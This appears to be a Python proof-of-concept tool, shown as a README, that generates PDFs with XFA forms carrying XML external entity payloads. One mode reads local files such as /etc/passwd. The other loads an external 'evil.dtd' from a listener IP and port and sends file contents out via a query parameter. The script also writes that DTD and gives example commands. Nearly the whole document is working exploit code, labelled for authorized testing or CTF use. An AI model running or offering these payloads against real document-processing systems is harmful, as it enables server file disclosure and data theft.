README.md
Rendering markdown...
# xfa_xxe_poc_gen.py
# Generate a PDF with a single-stream XFA form containing an XXE payload.
# Modes:
# --mode file : local file read (file://...)
# --mode oob : out-of-band exfil using external DTD to bypass internal-subset PE rules (Xerces/Tika-safe)
#
# Examples:
# python3 xfa_xxe_poc_gen.py --mode file --file /etc/passwd -o xfa_passwd.pdf
# python3 xfa_xxe_poc_gen.py --mode oob --ip 127.0.0.1 --port 8888 --write-dtd -o xfa_oob.pdf
# python3 xfa_xxe_poc_gen.py --mode oob --ip 10.10.14.3 --port 8080 --oob-file /etc/hostname --param d
#
# For authorized testing/CTF only.
import argparse
from pathlib import Path
def build_valid_xfa_single_pdf(xfa_xml: str, out_path: str) -> None:
parts = []
parts.append(b"%PDF-1.7\n%\xe2\xe3\xcf\xd3\n")
xref_positions = []
def offset() -> int:
return sum(len(p) for p in parts)
def add_obj(num: int, body: bytes):
xref_positions.append(offset())
parts.append(f"{num} 0 obj\n".encode("ascii"))
parts.append(body)
parts.append(b"\nendobj\n")
add_obj(1, b"<< /Type /Catalog /Pages 2 0 R /AcroForm 4 0 R >>")
add_obj(2, b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>")
add_obj(3, b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Resources << >> >>")
x_bytes = xfa_xml.encode("utf-8")
x_stream = f"<< /Length {len(x_bytes)} >>\nstream\n".encode("ascii") + x_bytes + b"\nendstream"
add_obj(5, x_stream)
add_obj(4, b"<< /NeedAppearances true /Fields [] /XFA 5 0 R >>")
xref_start = offset()
parts.append(b"xref\n")
total = 5
parts.append(f"0 {total+1}\n".encode("ascii"))
parts.append(b"0000000000 65535 f \n")
for pos in xref_positions:
parts.append(f"{pos:010d} 00000 n \n".encode("ascii"))
parts.append(
f"trailer\n<< /Size {total+1} /Root 1 0 R >>\nstartxref\n{xref_start}\n%%EOF\n".encode("ascii")
)
with open(out_path, "wb") as f:
f.write(b"".join(parts))
def build_file_read_xfa_xml(target_path: str) -> str:
norm = target_path.replace("\\", "/")
file_uri = f"file:///{norm.lstrip('/')}"
return f"""<!DOCTYPE xfa [
<!ENTITY xxe SYSTEM "{file_uri}">
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<xdp:template>
<template xmlns="http://www.xfa.org/schema/xfa-template/2.8/">
<subform name="form1"><field name="field"/></subform>
</template>
</xdp:template>
<xdp:datasets>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
<xfa:data><root><field>&xxe;</field></root></xfa:data>
</xfa:datasets>
</xdp:datasets>
</xdp:xdp>
"""
def external_dtd_contents(ip: str, port: int, oob_file: str, param: str, scheme: str) -> str:
oob_file_norm = oob_file.replace("\\", "/")
oob_file_uri = f"file:///{oob_file_norm.lstrip('/')}"
oob_url = f"{scheme}://{ip}:{port}/?{param}=%payload;"
return f"""<!ENTITY % payload SYSTEM "{oob_file_uri}">
<!ENTITY % make "<!ENTITY exfil SYSTEM '{oob_url}'>">
%make;
"""
def build_oob_xfa_xml(ip: str, port: int, param: str, scheme: str) -> str:
dtd_url = f"{scheme}://{ip}:{port}/evil.dtd"
return f"""<!DOCTYPE xfa [
<!ENTITY % ext SYSTEM "{dtd_url}">
%ext;
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<xdp:template>
<template xmlns="http://www.xfa.org/schema/xfa-template/2.8/">
<subform name="form1"><field name="field"/></subform>
</template>
</xdp:template>
<xdp:datasets>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
<xfa:data><root><field>&exfil;</field></root></xfa:data>
</xfa:datasets>
</xdp:datasets>
</xdp:xdp>
"""
def main():
p = argparse.ArgumentParser(description="Generate XFA XXE PoC PDF (single-stream XFA).")
p.add_argument("--mode", choices=["file", "oob"], default="file",
help="file = local file read, oob = out-of-band via external DTD")
p.add_argument("--file", dest="filepath", default="/etc/hosts",
help="Target file path (for --mode file). e.g. /etc/passwd or C:/Windows/win.ini")
p.add_argument("--ip", default="127.0.0.1", help="Listener IP (for --mode oob)")
p.add_argument("--port", type=int, default=8888, help="Listener port (for --mode oob)")
p.add_argument("--scheme", default="http", choices=["http", "https"], help="Scheme for OOB endpoint")
p.add_argument("--param", default="d", help="Query parameter key for exfil (default: d)")
p.add_argument("--oob-file", default="/etc/hostname",
help="Local file to read during OOB exfil (default: /etc/hostname)")
p.add_argument("--write-dtd", action="store_true",
help="Also write evil.dtd to the current directory (for hosting).")
p.add_argument("-o", "--out", default=None, help="Output PDF filename")
args = p.parse_args()
if args.mode == "file":
xfa_xml = build_file_read_xfa_xml(args.filepath)
out = args.out or "xxe_xfa_single_file_ok.pdf"
build_valid_xfa_single_pdf(xfa_xml, out)
print(f"[+] Mode: file")
print(f"[+] Target file : {args.filepath}")
print(f"[+] Wrote : {out}")
else:
xfa_xml = build_oob_xfa_xml(args.ip, args.port, args.param, args.scheme)
out = args.out or "xxe_xfa_single_oob_ok.pdf"
build_valid_xfa_single_pdf(xfa_xml, out)
print(f"[+] Mode: oob")
print(f"[+] OOB DTD URL: {args.scheme}://{args.ip}:{args.port}/evil.dtd")
print(f"[+] Param key : {args.param}")
print(f"[+] Wrote : {out}")
if args.write_dtd:
dtd = external_dtd_contents(args.ip, args.port, args.oob_file, args.param, args.scheme)
Path("evil.dtd").write_text(dtd, encoding="utf-8")
print("[+] Wrote evil.dtd with contents:")
print("----- evil.dtd -----")
print(dtd)
print("--------------------")
if __name__ == "__main__":
main()